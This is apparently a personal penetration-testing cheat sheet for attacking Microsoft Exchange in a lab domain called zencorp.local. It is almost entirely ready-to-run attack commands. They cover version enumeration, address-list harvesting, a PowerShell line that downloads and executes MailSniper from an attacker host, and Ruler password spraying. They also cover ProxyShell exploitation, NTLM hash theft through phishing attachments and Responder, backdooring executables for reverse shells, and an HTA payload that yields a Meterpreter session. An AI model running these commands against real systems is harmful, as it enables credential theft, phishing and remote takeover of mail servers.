mcz3n | Exchange

To enumerate the version of Microsoft Exchange

curl https://10.129.132.217/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application -k | xmllint --format - | grep version

Exporting username listss

If we already have access to a computer within the domain or an email. https://github.com/pigeonburger/global-address-list-owa

python3 emailextract.py -i exch01.zencorp.local -u zen@zencorp.ocal -p 'pass@123'

Or use windows

PS C:\Tools> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.228:8000/MailSniper.ps1')
PS C:\Tools> Get-GlobalAddressList -ExchHostname exch01.zencorp.local -Username zen -Password 'pass@123' -OutFile globaladdresslist.txt

Password Spray

Use Ruler for password Spray

./ruler-linux64 --domain zencorp.local --insecure brute --users global_address_list.txt --passwords passwords.txt --verbose -a 4

ProxyShell

proxyshell.py -u https://10.129.230.42/ -e Administrator@zencorp.local

Or use metasploit

use exploit/windows/http/exchange_proxyshell_rce

Phishing Attacks

Generate a htm file with ntlm_theft, create htm file, attach in email and capture in Responder

# Create html file
python3 ntlm_theft.py -g htm -s 10.10.14.80 -f students

# Responder
sudo responder -I tun0

Arbitrary File Execution

With https://www.shellterproject.com/ its possible to take a legit executable and inject a malicious code to get a reverse shell.

Create a HTA file

# It will create and host the .hta file
msfconsole -x "use exploit/windows/misc/hta_server; set LHOST 10.10.14.207; set LPORT 8443; set SRVHOST 10.10.14.207; run -j"

# Send the link and once clicked
[*] Meterpreter session 1 opened (10.10.14.207:8443 -> 10.129.231.81:62367) at 2024-08-13 17:52:01 -0400